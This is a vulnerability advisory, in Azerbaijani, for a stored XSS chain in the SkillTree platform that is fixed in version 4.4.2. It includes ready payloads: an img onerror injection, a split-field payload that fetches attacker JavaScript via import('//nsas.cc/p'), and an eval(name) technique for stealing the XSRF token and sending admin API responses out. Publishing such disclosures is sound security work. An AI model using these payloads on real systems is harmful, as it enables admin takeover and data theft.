CVE-2026-54694

SkillTree mikro-öyrənmə oyunlaşdırma platformasıdır. Versiya 4.4.2-dən əvvəl iki müstəqil kod qüsuru birləşərək artan təsirli üç fərqli istismar yolu olan tək bir hücum zəncirinə çevrilir. `StringHighlighter.js` faylı heç bir HTML entiti kodlaması olmadan xam `value` alt sətirlərini birbaşa şablon literalına daxil etməklə HTML sətiri qurur. `HighlightedValue.vue` həmin sətiri və bütün filtrlənməmiş sadə dəyərləri `innerHTML`-i təyin edən Vue-nun `v-html` direktivi vasitəsilə render edir. Ayrıca, hesab qeydiyyatı son nöqtəsi (endpoint) `firstName`, `lastName` və `nickname` sahələrini qəbul edir və onları heç bir HTML təmizləməsi (sanitization) olmadan saxlayır. Hücumçu `firstName = "<img src=x onerror=alert(1)>"` (28 simvol — 30 simvolluq sahə limiti daxilində) ilə özünü qeydiyyata alır və hər hansı bir kvizi ziyarət edir. Administrator növbəti dəfə Quiz Runs səhifəsini açdıqda, payload onun brauzerində icra olunur. Artan təsirli üç hücum yolu mövcuddur. Birincisi, baza saytlararası skriptinqdir (XSS). 30 simvol limitinə uyğun gələn hər hansı müstəqil payload (məsələn, 28 simvol olan `<img src=x onerror=alert(1)>`), admin adi istifadə zamanı run-lar səhifəsinə keçdikdə avtomatik işə düşür. Adminin brauzerində ixtiyari kodun icrası əlavə addımlar olmadan təsdiqlənib. İkincisi, `import()` vasitəsilə uzaqdan skript yükləmədir. Sahələrin bölünməsi texnikasından istifadə edərək (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), hücumçu öz serverindən tam JavaScript faylını yükləyir. Faylın ölçü limiti yoxdur və o, hər hansı admin hərəkətini yerinə yetirə bilər — bütün layihələri silmək, arxa qapı (backdoor) hesabları yaratmaq, istifadəçi məlumatlarını çıxarmaq, keylogger quraşdırmaq. Fişinq tələb olunmur. Yeganə məhdudiyyət URL-in 11 simvola (`//nsas.cc/p`) uyğun gəlməsidir. Üçüncüsü, tam saytlararası sorğu saxtakarlığı (CSRF) tokeninin oğurlanmasıdır. `eval(name)` istifadə edərək, hücumçu əvvəlcə adminə bir yönləndirmə linki göndərməklə `window.name`-i məlumat oğurluğu payload-una öncədən təyin edir. Sessiya kukisi `HttpOnly`-dir və `document.cookie` vasitəsilə oxuna bilməz; lakin XSRF tokeni oxuna bilir və hücumçu eyni mənşəli (same-origin) icradan istifadə edərək qurbanın brauzeri daxilindən admin API-larını çağırır və cavabları xarici serverə ötürür. Rutin istifadədən başqa heç bir admin qarşılıqlı əlaqəsi tələb olunmur. Versiya 4.4.2-də yamama (patch) mövcuddur.